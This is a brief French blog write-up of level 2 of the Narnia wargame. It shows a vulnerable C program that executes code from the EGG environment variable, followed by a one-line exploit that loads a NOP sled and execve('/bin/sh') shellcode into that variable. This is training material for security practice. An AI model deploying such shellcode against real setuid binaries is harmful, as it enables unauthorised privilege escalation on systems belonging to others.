dimanche 1 août 2010

[Wargame] Narnia at intruded.net : Level 2

On passe donc au level 2 ... quelle ne fut pas ma surprise ...

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>

int main(){
        int (*ret)();

        if((ret=getenv("EGG"))==NULL){    
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        seteuid(1003);

        ret();

        return 0;
}


Oui donc bon là c'est quand même assez clair, j'ai rien à "expliquer".

Le sploit :
export EGG=`python -c 'print "\x90" * 128 +  "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


m_101

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